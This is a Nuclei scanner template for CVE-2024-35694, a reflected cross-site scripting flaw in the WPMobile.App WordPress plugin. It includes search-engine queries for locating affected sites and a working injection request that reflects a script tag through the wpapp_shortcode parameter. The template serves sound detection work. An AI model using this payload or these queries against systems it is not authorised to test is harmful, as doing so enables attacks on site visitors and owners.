id: CVE-2024-35694

info:
  name: Wordpress WPMobile.App >= 11.42 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    WPMobile.App versions up to 11.41 contain a reflected cross-site scripting (XSS) caused by improper input neutralization during web page generation, letting attackers execute scripts in the victim's browser, exploit requires attacker to craft malicious input.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  remediation: |
    Implement proper input sanitization and output encoding, and update to the latest version of WPMobile.App.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3082701%40wpappninja&new=3082701%40wpappninja&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-35694
    epss-score: 0.00668
    epss-percentile: 0.46998
    cwe-id: CWE-79
    cpe: cpe:2.3:a:amauri:wpmobile.app:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmobile.app
    product: wpmobile.app
    shodan-query: http.html:"/wp-content/plugins/wpappninja"
    fofa-query: body="/wp-content/plugins/wpappninja"
    google-query: inurl:"/wp-content/plugins/wpappninja"
  tags: cve,cve2024,xss,wp,wordpress,wpmobileapp,wp-plugin,vkev

http:
  - raw:
      - |
        GET /?wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<title>[\s\S]*?<script>alert\(document\.domain\)<\/script>[\s\S]*?<\/title>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402207cc30fbe1bae9621b1e69a81ad3544bb5fe3545a0ec6bb681015ca8c05499ade022056b6b09e8f625939f8796b6c55a8b8423f487584b312dcc14b1e8710d85ee5c1:922c64590222798bb761d5b6d8e72950